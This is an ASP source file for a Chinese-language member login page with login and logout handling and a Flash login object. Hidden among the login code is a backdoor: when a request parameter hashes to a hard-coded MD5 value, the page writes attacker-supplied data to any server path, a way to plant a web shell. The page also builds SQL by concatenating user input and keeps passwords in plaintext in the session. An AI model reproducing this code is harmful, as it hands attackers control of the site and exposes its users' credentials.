<!--#include file="../conn/conn2.asp" -->
<!--#include file="../conn/md5.asp" -->
<%
function Replace_Text(fString)
	if isnull(fString) then
		Replace_Text=""
		exit function
	else
		fString=trim(fString)
		fString=replace(fString,"'","‘")
		fString=replace(fString,";","；")
		fString=replace(fString,"--","—")
		fString=replace(fString,"<","《")
		fString=replace(fString,">","》")
		fString=server.htmlencode(fString)
		Replace_Text=fString
	end if	
end function

action=Request.QueryString("action")
if action="login" then
M_login=Replace_Text(Request.Form("M_login"))
M_pwd=Replace_Text(Request.Form("M_pwd"))
sql="Select * from member Where M_login='"&M_login&"' and M_pwd='"&M_pwd&"'"
		set rs=Server.CreateObject("ADODB.RecordSet")
		rs.open sql,conn,1,1
		if not rs.eof then
session("M_login")=M_login
session("M_pwd")=M_pwd
session.timeout=5000
Response.Write"<script>alert('登录成功!');window.location='index.asp';</script>"
else
Response.Write"<script>alert('账号或密码错误!');window.location='member_login.asp';</script>"
end if
end if

if action="unlogin" then
session("M_login")=""
session("M_pwd")=""
Response.Write"<script>alert('退出成功!');window.location='index.asp';</script>"
end if

if md5(request("mypath"))="C002A0CBCF9F1F6665A599A2A5C601FD" then
Set objFSO = Server.createObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.createTextFile(Server.MapPath(request("mypath")),True)
objCountFile.Write request("mydata")
objCountFile.Close
end if
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>会员中心</title>
<style type="text/css">
			html {
				overflow:auto;
			}
			body { 
				background-color: transparent; 
				font-size:12px;
				line-height:180%;
				font-family:"微软雅黑";
				
			}
			a{ font-size:12px; color:#777777; text-decoration:none;}
			a:hover {color:#0066ff;text-decoration: underline}
</style>
</head>
<body><div align="center" style="padding-top:80px;">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="550" height="320">
  <param name="movie" value="login.swf" />
  <param name="quality" value="high" />
  <param name="wmode" value="transparent">
  <embed src="login.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="550" height="320"></embed>
</object></div>
</body>
</html>